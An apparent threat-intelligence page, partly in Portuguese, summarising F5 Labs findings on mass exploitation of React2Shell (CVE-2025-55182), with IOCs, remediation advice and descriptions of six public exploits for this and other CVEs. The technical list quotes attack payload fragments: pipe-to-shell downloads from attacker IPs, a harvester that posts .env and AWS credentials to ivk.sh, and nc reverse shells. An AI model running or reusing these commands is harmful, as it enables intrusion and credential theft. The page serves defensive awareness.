React2Shell (CVE-2025-55182) mass exploitation: RondoDox, credential stealers and reverse shells observed in December 2025
F5 Labs, using Efflux sensor telemetry, analyzed December 2025 exploitation of React2Shell (CVE-2025-55182), a CVSS 10.0 unsafe deserialization RCE in React Server Components. It was disclosed on 3 December 2025 and rose to second place among the most exploited CVEs, behind only CVE-2017-9841. Within days of disclosure, actors moved from simple canary payloads to mature botnet tradecraft, including fileless downloaders, raw TCP stagers, credential harvesters and reverse shells. The RondoDox botnet was among the actors observed, and F5 notes the seven payloads shown are only a sample of dozens seen. Targeting was observed in Australia, Singapore, Israel, Germany, Canada and the United States.
Technical Details
- Payloads abuse prototype pollution keys (
__proto__:then,constructor:constructor) andprocess.mainModule.require('child_process').execSyncin server function requests. - Canary: appends the marker
ismyherotopublic/robots.txtto confirm command execution and write access. - RondoDox: a wget/busybox wget/curl chain pipes
rondo.aqu.shfrom41.231.37.153intosh, with the user agent calling card[email protected]. - Two-stage loader:
/dev/x86is downloaded from31.56.27.76, run with the argumentreactOnMynuts, followed bynuts/boltsfrom193.34.213.150piped intosh. Output is surfaced through craftedNEXT_REDIRECTerror digests. - Credential stealer: walks up the directory tree reading
.env*files, plus~/.aws/credentialsand/root/.aws/credentials. It POSTs them toivk.sh/nxtgrab.php?f=<path>and then runscurl -k -s https://ivk.sh/nxtplan | sh. - Raw TCP stager:
nc/telnetto45.125.66.90:3443piped intosh. Activity from89.42.231.244andmewo.oceanic-node[.]suis believed linked. - Other payloads: an ICMP ping canary to
144.172.105.58, and aweball.shdownload from94.154.35.154followed by a mkfifo/nc reverse shell to193.142.147.209:12323. - Other top exploited CVEs in December: CVE-2017-9841 (PHPUnit), CVE-2023-1389 (TP-Link Archer AX21), CVE-2019-9082 (ThinkPHP) and CVE-2024-4577 (PHP-CGI).
Remediation
- Patch React Server Components and review code for unsafe deserialization.
- Deploy WAF signatures for prototype pollution keys,
child_process/process.mainModule.requirereferences, pipe-to-shell constructs and raw-IP URLs in request bodies. - Hunt for the listed IOCs and for outbound connections from Node processes.
- Rotate any
.envsecrets and AWS credentials on exposed hosts. - Monitor anomalous outbound traffic.
6 exploits públicos
Há código de exploração publicado no Exploit-DB para CVE-2025-55182, CVE-2024-4577, CVE-2023-1389 e outros. O código não é reproduzido aqui: o link leva à fonte, e a explicação foi escrita pela IA a partir do arquivo publicado.
-
React Server 19.2.0 - Remote Code Execution
The script targets CVE-2025-55182, a flaw in how React Server Components deserialize data sent to server function endpoints, as used by frameworks such as Next.js. An unauthenticated attacker with network access to an app running React 19.0.0 to 19.2.0 can trigger it with one crafted POST, no user interaction. It abuses object handling to run JavaScript on the server, giving command execution as the app user. It is a working-looking, blind PoC that scans a target list and leaks command output via DNS lookups; it only prints HTTP status.
-
PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
This script exploits CVE-2024-4577, an argument injection flaw in PHP running as CGI on Windows, where a soft hyphen in the query string is turned into a dash and lets the attacker pass configuration options to the interpreter. It needs only network access to an exposed php-cgi executable, with no login or user interaction. The options make PHP run code sent in the request body, giving command execution as the web server user. It looks like a working exploit with multi-host scanning and an interactive shell.
-
TP-Link Archer AX21 - Unauthenticated Command Injection
This script exploits CVE-2023-1389, a command injection in the web interface of the TP-Link Archer AX21, where the country setting of the locale handler reaches a shell unsanitized. The attacker needs only network reach to the router's web interface, no login, and firmware older than 1.1.4 Build 20230219. Sending the crafted request twice runs commands as root, and here it opens a reverse shell to the attacker. It is a short but working proof of concept that matches the listed CVE.
-
PHP Unit 4.8.28 - Remote Code Execution (RCE) (Unauthenticated)
This script exploits CVE-2017-9841: PHPUnit's eval-stdin helper, when left reachable in a web-exposed vendor directory, executes any PHP code sent in an HTTP request body. The attacker needs only network access to a site that deployed PHPUnit (a dev dependency) publicly, with no login or user interaction. The tool checks several common framework layouts with a harmless test, then offers an interactive prompt that runs system commands as the web server user. It is a simple, working exploit that matches the CVE.
-
ThinkPHP - Multiple PHP Injection RCEs (Metasploit)
This Metasploit module exploits remote code execution in the ThinkPHP 5.x web framework through the public index page, where a crafted request makes the framework call a PHP function with attacker-chosen input. The attacker needs only network access to the web server, with no login or user interaction, and a ThinkPHP version up to 5.0.23. The module reads the version from an error page and picks one of two techniques, one per CVE. It runs system commands as the web server user and can drop a Linux payload for a remote session. It is a mature, working exploit.
-
zzzphp CMS 1.6.1 - Cross-Site Request Forgery
This is a cross-site request forgery proof of concept against the zzzphp CMS 1.6.1 admin panel, in the template file editing function. The admin save form has no anti-CSRF token, so a malicious web page can silently submit a forged edit. The attacker only needs to lure a logged-in administrator to that page; no credentials or local access are required. The forged edit writes a PHP expression into a site template, which the CMS later evaluates, leading to remote code execution. It is a simple, working-looking PoC (unverified), and the author describes it as a follow-up to CVE-2019-9041.
Linha do tempo
-
React2Shell (CVE-2025-55182) mass exploitation: RondoDox, credential stealers and reverse shells observed in December 2025
ler a análise desta fonte ocultar
F5 Labs, using Efflux sensor telemetry, analyzed December 2025 exploitation of React2Shell (CVE-2025-55182), a CVSS 10.0 unsafe deserialization RCE in React Server Components. It was disclosed on 3 December 2025 and rose to second place among the most exploited CVEs, behind only CVE-2017-9841. Within days of disclosure, actors moved from simple canary payloads to mature botnet tradecraft, including fileless downloaders, raw TCP stagers, credential harvesters and reverse shells. The RondoDox botnet was among the actors observed, and F5 notes the seven payloads shown are only a sample of dozens seen. Targeting was observed in Australia, Singapore, Israel, Germany, Canada and the United States.
Technical Details
- Payloads abuse prototype pollution keys (
__proto__:then,constructor:constructor) andprocess.mainModule.require('child_process').execSyncin server function requests. - Canary: appends the marker
ismyherotopublic/robots.txtto confirm command execution and write access. - RondoDox: a wget/busybox wget/curl chain pipes
rondo.aqu.shfrom41.231.37.153intosh, with the user agent calling card[email protected]. - Two-stage loader:
/dev/x86is downloaded from31.56.27.76, run with the argumentreactOnMynuts, followed bynuts/boltsfrom193.34.213.150piped intosh. Output is surfaced through craftedNEXT_REDIRECTerror digests. - Credential stealer: walks up the directory tree reading
.env*files, plus~/.aws/credentialsand/root/.aws/credentials. It POSTs them toivk.sh/nxtgrab.php?f=<path>and then runscurl -k -s https://ivk.sh/nxtplan | sh. - Raw TCP stager:
nc/telnetto45.125.66.90:3443piped intosh. Activity from89.42.231.244andmewo.oceanic-node[.]suis believed linked. - Other payloads: an ICMP ping canary to
144.172.105.58, and aweball.shdownload from94.154.35.154followed by a mkfifo/nc reverse shell to193.142.147.209:12323. - Other top exploited CVEs in December: CVE-2017-9841 (PHPUnit), CVE-2023-1389 (TP-Link Archer AX21), CVE-2019-9082 (ThinkPHP) and CVE-2024-4577 (PHP-CGI).
Remediation
- Patch React Server Components and review code for unsafe deserialization.
- Deploy WAF signatures for prototype pollution keys,
child_process/process.mainModule.requirereferences, pipe-to-shell constructs and raw-IP URLs in request bodies. - Hunt for the listed IOCs and for outbound connections from Node processes.
- Rotate any
.envsecrets and AWS credentials on exposed hosts. - Monitor anomalous outbound traffic.
- Payloads abuse prototype pollution keys (